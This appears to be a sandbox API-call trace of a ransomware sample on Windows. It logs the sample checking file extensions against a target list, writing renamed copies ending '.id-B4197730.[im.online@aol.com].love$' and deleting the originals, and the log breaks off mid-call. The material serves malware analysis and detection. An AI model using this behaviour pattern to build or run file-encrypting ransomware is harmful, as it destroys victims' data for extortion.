[0282.233] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.233] lstrlenW (lpString=".bz2") returned 4 [0282.233] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.233] lstrlenW (lpString=".7z") returned 3 [0282.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0282.233] lstrlenW (lpString=".dbf") returned 4 [0282.233] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0282.234] lstrlenW (lpString=".1cd") returned 4 [0282.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0282.234] lstrlenW (lpString=".jpg") returned 4 [0282.234] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0282.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0282.234] lstrlenW (lpString=".doc") returned 4 [0282.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.234] lstrlenW (lpString=".docx") returned 5 [0282.234] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0282.234] lstrlenW (lpString=".pdf") returned 4 [0282.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.234] lstrlenW (lpString=".xls") returned 4 [0282.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.234] lstrlenW (lpString=".xlsx") returned 5 [0282.234] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0282.234] lstrlenW (lpString=".ppt") returned 4 [0282.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0282.234] lstrlenW (lpString=".zip") returned 4 [0282.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.234] lstrlenW (lpString=".rar") returned 4 [0282.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.234] lstrlenW (lpString=".bz2") returned 4 [0282.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.234] lstrlenW (lpString=".7z") returned 3 [0282.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0282.234] lstrlenW (lpString=".dbf") returned 4 [0282.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0282.235] lstrlenW (lpString=".1cd") returned 4 [0282.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0282.235] lstrlenW (lpString=".jpg") returned 4 [0282.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.235] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0282.235] lstrlenW (lpString="J0107130.WMF") returned 12 [0282.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0282.237] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=27084) returned 1 [0282.237] CloseHandle (hObject=0x300) returned 1 [0282.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 0x220 [0282.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0282.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0282.238] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.238] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0282.240] GetLastError () returned 0x0 [0282.240] ReadFile (in: hFile=0x300, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x69cc, lpOverlapped=0x0) returned 1 [0282.384] WriteFile (in: hFile=0x408, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x69d0, lpOverlapped=0x0) returned 1 [0282.385] ReadFile (in: hFile=0x300, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.385] WriteFile (in: hFile=0x408, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.386] SetEndOfFile (hFile=0x408) returned 1 [0282.386] CloseHandle (hObject=0x408) returned 1 [0282.386] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.386] SetEndOfFile (hFile=0x300) returned 1 [0282.390] CloseHandle (hObject=0x300) returned 1 [0282.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0282.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 1 [0282.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0282.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0282.392] lstrlenW (lpString=".doc") returned 4 [0282.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.392] lstrlenW (lpString=".docx") returned 5 [0282.392] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0282.392] lstrlenW (lpString=".pdf") returned 4 [0282.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.393] lstrlenW (lpString=".xls") returned 4 [0282.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.393] lstrlenW (lpString=".xlsx") returned 5 [0282.393] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0282.393] lstrlenW (lpString=".ppt") returned 4 [0282.393] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0282.393] lstrlenW (lpString=".zip") returned 4 [0282.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.393] lstrlenW (lpString=".rar") returned 4 [0282.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.393] lstrlenW (lpString=".bz2") returned 4 [0282.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.393] lstrlenW (lpString=".7z") returned 3 [0282.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0282.393] lstrlenW (lpString=".dbf") returned 4 [0282.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0282.393] lstrlenW (lpString=".1cd") returned 4 [0282.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0282.393] lstrlenW (lpString=".jpg") returned 4 [0282.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0282.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0282.393] lstrlenW (lpString=".doc") returned 4 [0282.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.393] lstrlenW (lpString=".docx") returned 5 [0282.393] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0282.394] lstrlenW (lpString=".pdf") returned 4 [0282.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.394] lstrlenW (lpString=".xls") returned 4 [0282.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.394] lstrlenW (lpString=".xlsx") returned 5 [0282.394] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0282.394] lstrlenW (lpString=".ppt") returned 4 [0282.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0282.394] lstrlenW (lpString=".zip") returned 4 [0282.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.394] lstrlenW (lpString=".rar") returned 4 [0282.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.394] lstrlenW (lpString=".bz2") returned 4 [0282.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.394] lstrlenW (lpString=".7z") returned 3 [0282.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0282.394] lstrlenW (lpString=".dbf") returned 4 [0282.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0282.394] lstrlenW (lpString=".1cd") returned 4 [0282.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0282.394] lstrlenW (lpString=".jpg") returned 4 [0282.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.394] lstrlenW (lpString=".id-") returned 4 [0282.395] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c5dd8 | out: hHeap=0x670000) returned 1 [0282.395] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70c120 | out: hHeap=0x670000) returned 1 [0282.395] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x71dfe8 | out: hHeap=0x670000) returned 1 [0282.397] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x72dff0 | out: hHeap=0x670000) returned 1 [0282.397] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x311f020 | out: hHeap=0x670000) returned 1 [0282.403] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c5c28 | out: hHeap=0x670000) returned 1 [0282.403] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113c80 [0282.403] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113c80, Size=0x20) returned 0x41aadd0 [0282.403] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113b78 [0282.403] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113b78, Size=0x20) returned 0x41aac18 [0282.404] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.404] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.404] Wow64DisableWow64FsRedirection (in: OldValue=0x2c0ff50 | out: OldValue=0x2c0ff50*=0x1) returned 1 [0282.404] lstrlenW (lpString="kernel32.dll") returned 12 [0282.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aac18 | out: hHeap=0x670000) returned 1 [0282.404] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aadd0 | out: hHeap=0x670000) returned 1 Thread: id = 39 os_tid = 0xdd4 [0222.703] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10000) returned 0x3251e00 [0222.704] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10000) returned 0x3261e08 [0222.704] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5100 [0222.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x6) returned 0x70c1f0 [0222.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5298 [0222.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x100000) returned 0x3a83020 [0222.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5118 [0222.708] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c5118, Size=0x20) returned 0x6ad6d8 [0222.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5118 [0222.708] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c5118, Size=0x20) returned 0x6ad598 [0222.708] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0222.708] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0222.708] Wow64DisableWow64FsRedirection (in: OldValue=0x2d4ff50 | out: OldValue=0x2d4ff50*=0x0) returned 1 [0222.708] lstrlenW (lpString="kernel32.dll") returned 12 [0222.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad6d8 | out: hHeap=0x670000) returned 1 [0222.708] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0222.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad598 | out: hHeap=0x670000) returned 1 [0222.709] Sleep (dwMilliseconds=0x64) [0223.071] Sleep (dwMilliseconds=0x64) [0223.282] Sleep (dwMilliseconds=0x64) [0223.561] Sleep (dwMilliseconds=0x64) [0223.791] Sleep (dwMilliseconds=0x64) [0224.018] Sleep (dwMilliseconds=0x64) [0224.369] lstrcmpiW (lpString1=".avi", lpString2=".love$") returned -1 [0224.369] lstrlenW (lpString="boxed-correct.avi") returned 17 [0224.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0224.562] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=111320) returned 1 [0224.563] CloseHandle (hObject=0x3c4) returned 1 [0224.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0224.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.564] lstrlenW (lpString=".doc") returned 4 [0224.564] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.564] lstrlenW (lpString=".docx") returned 5 [0224.564] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0224.564] lstrlenW (lpString=".pdf") returned 4 [0224.564] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.564] lstrlenW (lpString=".xls") returned 4 [0224.564] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.564] lstrlenW (lpString=".xlsx") returned 5 [0224.564] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0224.564] lstrlenW (lpString=".ppt") returned 4 [0224.564] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.564] lstrlenW (lpString=".zip") returned 4 [0224.564] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.564] lstrlenW (lpString=".rar") returned 4 [0224.564] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.564] lstrlenW (lpString=".bz2") returned 4 [0224.564] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.564] lstrlenW (lpString=".7z") returned 3 [0224.564] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.564] lstrlenW (lpString=".dbf") returned 4 [0224.564] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.564] lstrlenW (lpString=".1cd") returned 4 [0224.564] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.564] lstrlenW (lpString=".jpg") returned 4 [0224.564] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.565] lstrlenW (lpString=".doc") returned 4 [0224.565] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.565] lstrlenW (lpString=".docx") returned 5 [0224.565] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0224.565] lstrlenW (lpString=".pdf") returned 4 [0224.565] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.565] lstrlenW (lpString=".xls") returned 4 [0224.565] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.565] lstrlenW (lpString=".xlsx") returned 5 [0224.565] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0224.565] lstrlenW (lpString=".ppt") returned 4 [0224.565] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.565] lstrlenW (lpString=".zip") returned 4 [0224.565] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.565] lstrlenW (lpString=".rar") returned 4 [0224.565] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.565] lstrlenW (lpString=".bz2") returned 4 [0224.565] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.565] lstrlenW (lpString=".7z") returned 3 [0224.565] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.565] lstrlenW (lpString=".dbf") returned 4 [0224.565] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.565] lstrlenW (lpString=".1cd") returned 4 [0224.565] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.565] lstrlenW (lpString=".jpg") returned 4 [0224.565] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.566] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0224.566] lstrlenW (lpString="base_jpn.xml") returned 12 [0224.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0224.666] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=804) returned 1 [0224.666] CloseHandle (hObject=0x404) returned 1 [0224.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0224.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0224.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0224.666] lstrlenW (lpString=".doc") returned 4 [0224.666] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.666] lstrlenW (lpString=".docx") returned 5 [0224.666] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0224.666] lstrlenW (lpString=".pdf") returned 4 [0224.666] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.666] lstrlenW (lpString=".xls") returned 4 [0224.666] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.667] lstrlenW (lpString=".xlsx") returned 5 [0224.667] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0224.667] lstrlenW (lpString=".ppt") returned 4 [0224.667] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0224.667] lstrlenW (lpString=".zip") returned 4 [0224.667] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.667] lstrlenW (lpString=".rar") returned 4 [0224.667] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.667] lstrlenW (lpString=".bz2") returned 4 [0224.667] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.667] lstrlenW (lpString=".7z") returned 3 [0224.667] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0224.667] lstrlenW (lpString=".dbf") returned 4 [0224.667] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0224.667] lstrlenW (lpString=".1cd") returned 4 [0224.667] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0224.667] lstrlenW (lpString=".jpg") returned 4 [0224.667] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0224.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0224.667] lstrlenW (lpString=".doc") returned 4 [0224.667] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.667] lstrlenW (lpString=".docx") returned 5 [0224.667] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0224.667] lstrlenW (lpString=".pdf") returned 4 [0224.667] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.668] lstrlenW (lpString=".xls") returned 4 [0224.668] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.668] lstrlenW (lpString=".xlsx") returned 5 [0224.668] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0224.668] lstrlenW (lpString=".ppt") returned 4 [0224.668] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0224.668] lstrlenW (lpString=".zip") returned 4 [0224.668] lstrcmpiW (lpString1=".zip", 